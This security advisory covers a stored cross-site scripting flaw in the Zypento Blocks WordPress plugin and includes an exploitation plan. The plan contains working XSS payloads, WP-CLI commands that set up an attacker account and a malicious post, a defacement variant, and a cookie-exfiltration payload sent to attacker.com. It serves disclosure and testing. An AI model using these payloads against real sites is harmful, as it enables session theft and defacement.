Zypento Blocks <= 1.0.6 - Authenticated (Author+) Stored Cross-Site Scripting via Table of Contents Block
Description
The Zypento Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Table of Contents block in all versions up to, and including, 1.0.6. This is due to the front-end TOC rendering script reading heading text via `innerText` and inserting it into the page using `innerHTML` without proper sanitization. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-5820 (Zypento Blocks Stored XSS) ## 1. Vulnerability Summary The Zypento Blocks plugin (<= 1.0.6) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the frontend rendering logic of the "Table of Contents" (TOC) block. Specifica…
Show full research plan
Exploitation Research Plan: CVE-2026-5820 (Zypento Blocks Stored XSS)
1. Vulnerability Summary
The Zypento Blocks plugin (<= 1.0.6) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the frontend rendering logic of the "Table of Contents" (TOC) block. Specifically, the plugin's JavaScript script responsible for generating the TOC list on the client side extracts heading text from the page using the .innerText property but subsequently inserts this text into the TOC container using the .innerHTML property without sanitization. This allows an attacker with Author-level privileges or higher to inject malicious HTML/JavaScript into a heading, which is then executed in the context of any user viewing the page when the TOC script processes it.
2. Attack Vector Analysis
- Vulnerable Component: Table of Contents Block (frontend rendering script).
- Endpoint: WordPress Post Editor (
/wp-admin/post-new.phpor REST API/wp/v2/posts). - Required Role: Author, Editor, or Administrator.
- Payload Location: Inside a Heading block (
h1,h2,h3, etc.) on a post that also contains the Zypento Table of Contents block. - Preconditions: The Zypento Blocks plugin must be active, and a post must be published containing both a TOC block and a malicious heading.
3. Code Flow (Inferred)
- Post Creation: An Author creates a post containing the block
<!-- wp:zypento/table-of-contents /-->and a heading like<h2><img src=x onerror=alert(1)></h2>. - Frontend Loading: A user views the post. WordPress enqueues the TOC frontend script (likely named
view.jsortoc.jslocated in the plugin's block assets). - Heading Extraction: The script queries the DOM for heading elements within the post content (e.g.,
document.querySelectorAll('h1, h2, h3')). - Vulnerable Sink:
- The script iterates through the headings.
- It retrieves the "text" using
const title = heading.innerText;. If the heading HTML was<img src=x onerror=alert(1)>,innerTextreturns the literal string<img src=x onerror=alert(1)>. - The script creates a list item for the TOC and sets its content:
tocItem.innerHTML =${title};.
- Execution: The browser parses the
innerHTMLassignment, creates the<img>element, and executes theonerrorhandler.
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a post with specific content.
- Post Creation via WP-CLI: The easiest way to set up the exploit without worrying about REST API nonces or CSRF is to use
wp post create. - Manual Exploitation via UI: If performing the exploit via the browser, the standard WordPress
_wpnoncefor the post editor is required. This is found in thewp-admin/post.phporpost-new.phpsource code. - Frontend Script: No nonce is required for the execution phase, as it occurs automatically when any user (including an Administrator) views the published post.
5. Exploitation Strategy
- Authentication: Authenticate as an Author user.
- Payload Preparation: The payload must be HTML-encoded within the heading so that
innerTextreturns the raw HTML tags to be later interpreted byinnerHTML.- Payload:
<img src=x onerror="alert('XSS_SUCCESS_VULN_ID_5820')">
- Payload:
- Post Injection: Create a post containing the TOC block and the malicious heading.
- Block Content:
<!-- wp:zypento/table-of-contents {"title":"TOC"} /--> <h2><img src=x onerror="alert(window.origin)"></h2>
- Block Content:
- Verification of Trigger: Navigate to the published post's URL and observe the JavaScript execution.
6. Test Data Setup
- Install Plugin: Ensure
zypento-blocksversion 1.0.6 is installed and active. - Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Create Malicious Post:
wp post create --post_type=post \ --post_status=publish \ --post_title="Vulnerable TOC Page" \ --post_author=$(wp user get attacker --field=ID) \ --post_content='<!-- wp:zypento/table-of-contents /--><h2><img src=x onerror="console.log(\"XSS_TRIGGERED\")"></h2>'
7. Expected Results
- When the post is rendered, the TOC block will be generated by JavaScript.
- A link will appear in the TOC.
- Because the TOC script uses
innerHTMLto insert the heading'sinnerText, the browser will execute theonerrorevent of the injected image tag. - The browser console will show "XSS_TRIGGERED" or an alert box will appear.
8. Verification Steps
- Check Post Content: Verify the post content was saved correctly.
wp post get <POST_ID> --field=post_content - Inspect Frontend HTML: Use
http_requestto fetch the post and check if the TOC script is enqueued.# Look for the plugin's JS file curl -s http://localhost:8080/vulnerable-toc-page/ | grep "zypento" - Simulate Execution: Use
browser_navigateto the post URL and check for the console log.
9. Alternative Approaches
- Style Injection: If
alert()is blocked, try injecting a style tag to deface the page:<h2><style>body{background:red !important;}</style></h2>
- Data Exfiltration: Attempt to exfiltrate the administrator's cookie if they view the page:
<h2><img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)"></h2>
- Block Name Variation: If
zypento/table-of-contentsis not the exact slug, usewp-clito list registered blocks or check the plugin'ssrc/index.js. (Inferred slug:zypento/table-of-contents).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.